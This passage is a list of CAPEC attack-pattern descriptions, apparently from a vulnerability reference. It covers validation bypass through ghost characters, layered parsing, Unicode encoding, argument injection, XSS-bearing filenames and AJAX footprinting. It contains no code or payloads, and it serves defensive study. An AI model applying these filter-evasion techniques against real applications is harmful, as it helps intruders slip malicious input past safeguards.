Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.